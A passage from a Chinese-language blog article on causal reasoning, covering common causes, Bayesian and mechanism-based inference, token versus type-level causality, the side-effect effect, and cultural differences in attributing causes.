在利用因果推理進行工程實踐的時候,要特別注意【共同的原因】這個問題,很多時候我們從資料中得出的所謂呈現出強相關的兩個變數,其背後結構都是【共同的原因】,基於共同原因的相關性推理是不能被當做因果推理模型來用的,否則會引起很多的誤報。

2)因果模型法

還有一種方法是因果模型法,它將因果推理和一個名為“貝葉斯網路”的計算模型聯絡在一起。

這種方法的理念是,可以把原因作為模型的一部分,而不僅僅通過因素間的相關性或者各個因素間聯絡的強度來尋找事件發生的原因。

3)作用機制推理法

還有一種推理原因的方法是建立在作用機制上的。

簡單來說,就是原因是促成結果的一種途徑,原因和結果是通過一系列能夠導致結果發生的步驟連線在一起的。因此,如果跑步會讓人心情變好,那麼就一定存在一個跑步可以改變心情的過程,比如跑步能夠釋放體內的內啡肽。我們也許看不到這個過程中的每一個組成部分,但整個過程存在一個事件鏈,將原因和結果連線在一起,原因通過這個事件鏈促成了結果的發生。

0x3:我們是如何得出因果關係的?

1. 通過詢問機制性的問題得出因果關係

需要注意的是,因果關係研究與協變關係研究所用的方法是不同的。在因果關係研究中,參與者需要向實驗者提一些問題,以便能夠解釋某個事件是如何發生的。在心理學文獻中,這被稱為因果推理。

以交通事故為例,研究人員發現參與者的問題主要圍繞有可能在事故中起作用的機制,比如駕駛員有身體缺陷嗎。而不是傾向性問題,比如那條路上發生的交通事故多嗎。

在這種實驗中,參與者必須去詢問他們想要的資訊。

2. 先驗估計和後驗估計的爭論

人們在如何各種關聯關係的問題上產生過一些分歧,

  • 有一種觀點是,我們應該先收集資料,然後根據這些資料來選擇最可能出現的結構,或者與我們的觀察結果最一致的結構。如果我們知道狗聽到大的聲音就會叫,也知道摔門會發出大的聲音,那我們就能縮小範圍,縮減這些事件相關聯的可能性的方式,並且排除掉“狗引起了聲響”這樣的模型
  • 還有一種觀點認為,很多時候我們都是依靠各種假設來思考問題的,所以我們應該先提出一個有可能出現的結構,然後再根據瞭解到的新資訊不斷改變這個結構 

3. 貝葉斯融合方法

人們常常會把觀察到的資訊和已知的資訊進行融合,並且與一些與相關性和作用機制有關的知識進行融合。 有一些實驗表明,參與者對“原因和結果之間是否存在關聯機制”的態度會影響他們對事件之間關聯性的看法,但如果兩個事件的關聯性很弱,那麼參與者將不會受到影響。 實際上,參與者在對觀察序列(比如某些常見的/不常見的症狀)進行評估時,可能會把事件之間已知的關聯以及存在某種關聯的可能性也考慮進去。   

6. 因果關係對責任的劃分的影響

0x1:實證式因果關係和類級別因果關係

假如你有一臺非常考究的咖啡機,這臺機器的熱度達到萃取溫度後只能持續很短的時間,你必須在機器過熱之前把咖啡取出來。你的朋友在萃取了一杯咖啡後沒有關機器,你去萃取的時候機器已經過熱,所以那天早上你沒有喝成咖啡。那麼問題來了,是誰造成你那天沒喝成咖啡?是因為你的朋友沒有早點關掉咖啡機?還是因為廠家生產了一臺有缺陷、不能重度使用的機器?

這就是因果關係中的歸因問題:要確定是誰或者是什麼導致了特定的事件。

也就是說,我們想知道的不是一般情況下咖啡機出故障的原因,而是這個案件中的咖啡機為什麼會出故障。這與我們分析交通事故中的責任是一類活動。

這種型別的因果關係稱為實證式因果關係(as token causality),與類級別因果關係(type-level causality)剛好相反。類級別因果關係指的是一般情況下會出現的情況,比如:

  • 因分心駕駛而導致的交通事故,這屬於類級別因果關係
  • Susie 在開車時發簡訊結果撞上了 Billy的車,這屬於實證式因果關係

關於責任劃分和歸因問題的研究大多是在哲學領域進行的,但這些研究通常基於直覺或者人們“應該會”有的想法,而不是通過實驗收集的資料。比如下面這個例子,

某大學哲學系有一名接待員,她的辦公桌裝滿了筆。行政助理們需要用筆的時候直接從接待員那裡拿就可以了,但是教授們則需要自己買筆。但實際上,教授和助理都會從接待員那裡拿筆。有一天,一名教授和一名行政助理拿走了接待員手中的最後的兩支筆。然後,接待員接到了一通重要的電話,結果卻沒有筆來記電話中的內容。

現在問題來了,這個情況是誰造成的呢?造成這個後果的責任應該由誰或者主要由誰來承擔呢?

對這個問題的討論涉及到實驗哲學和心理學研究的交叉領域,我們本文不做更多討論,我們還是關注在因果關係推理這個問題上。

0x2:副作用效應

有一種重要的概念叫做“副作用效應(諾布效應)”,它的主要內容是:

  • 如果某個人的行為無意間帶來了積極效應,人們不會將這種效應歸功於這些行為;
  • 但如果這個人的行為無意間帶來了消極效應,那麼人們就會認為這些行為是有意的,並且將責任歸咎於這些行為的發出者。

舉一個例子來說,公司的CEO並不關心他們關於提高利潤的最新提案是否對環境有利,他們只關心利潤。

  • 結果當環境遭到破壞時,參與者往往會責怪這位CEO;
  • 但是當環境得到改善時,參與者卻沒有表揚這位CEO。 

人們又做了類似的實驗並得到了同樣的結果:無意間帶來了積極效應的行為不會得到表揚,但無意間帶來消極效應的行為卻會受到批評。心理學家的實驗表明,與無意的行為相比,有意的行為更容易成為事件的原因和責任主體。

關於副作用效應的解釋有兩種:

  • 一種是它取決於人們的行為是否是有意的
  • 另一種是人們的行為是否違反了社會規範

如果你的行為符合社會規範(考試不作弊、不亂扔垃圾等等),那麼你不會因為自己的行為而受到褒獎,因為這是正常行為。然後,如果你為了走捷徑而踩了一些花草,就會受到責備,因為你的行為違反了社會行為標準。

有證據表明,影響責任判定的因素有很多,比如規範、動機和結果等,然而做出這些判定的過程還在研究當中。儘管近期的研究將責任判定當作了一種包含多個步驟和流程的社會行為,但是絕大部分實驗研究還是主要關注結果並致力於理解各種直覺。

 

7. 文化對因果推斷的影響

當有些研究指出“90%的參與者都認為是那個司機引起了這場交通事故”時,這裡的參與者指的是什麼人?

心理學研究的絕大部分參與者都是西方大學生,因為這個領域的大部分研究工作都是在高校開展的,我們通常都能找到足夠的學生參與者。這部分大學生並不能直接代表全社會所有人的共同認知。這就限制了我們所討論的那些研究成果的普遍適用性。

這個問題涉及到對不同文化背景的參與者對因果關係的感知和判定。

一個重要的文化差異是,參與者認為哪些因素與結果存在因果相關性。如果某個游泳運動員贏得了一次奧運比賽,人們可能會說她之所以能獲勝是因為:

  • 參賽運動員的總體實力比較弱
  • 或者是因為她有家人的支援(環境因素)
  • 或者是因為她有游泳天賦(個人稟賦)

這些因素可能都為她的成功做出了貢獻,但是差別自在於哪些因素是最重要的。很多研究發現,不同文化背景的人,在看待原因因素重要性方面,存在很多明顯的差異。

為了驗證這一點,Michael W.Morris 和 Kaiping Peng 分析了漢語報紙和英文報紙上關於同樣的一些刑事案件的報道,他們發現:

  • 英文報紙上提到性格因素(比如凶手十分憤怒)的比例要比中文報紙高得多
  • 而中文報紙則往往強調環境因素(比如凶手剛剛失業)

在其他針對東西方文化的對比研究中,人們也發現了同樣的現象。

從貝葉斯概率的角度來看這個問題,我們將其解釋為:不同文化背景的人,其自身的先驗假設是不同的,這些不同的先驗假設導致了人們對待事物因果關係的初期判斷不一致。但是如果觀察量增大,人們對原因因素的後驗概率判斷會逐漸修正。

 

8. 因果推斷中的人的侷限性

儘管目前的AI技術還不十分成熟,我們的一個長遠目標是設計出能夠像人類一樣思考和推理的演算法,但是人類思維在很多方面都不如計算機程式,因為計算機程式的運算行為完全是可控的,並且能夠完全按照制定好的規則來執行(即可重入性)。

相比之下,雖然人類能夠從很少的觀察資料中快速找到因果關係,但是我們所找到的因果關係並不總是正確的。

更糟糕的是,前面說到,我們常常會犯一些認知偏見這樣的錯誤,認知偏見會導致我們看不到一些並不存在的相關性,因為我們經常會尋找一些資訊來證實自己的信念,或者更重視那些能夠證實我摩恩信念的資訊。

有些因素讓人們很難把握事件發生的原因,比如原因和結果之間存在很長的延遲,或者因果結構很複雜。這些因素要求人們解開很多複雜的關聯關係,同時還可能會讓事件之間的聯絡變得模糊。

Relevant Link:  

別拿相關當因果!因果關係簡易入門 - [美] 薩曼莎 • 克萊因伯格 

&n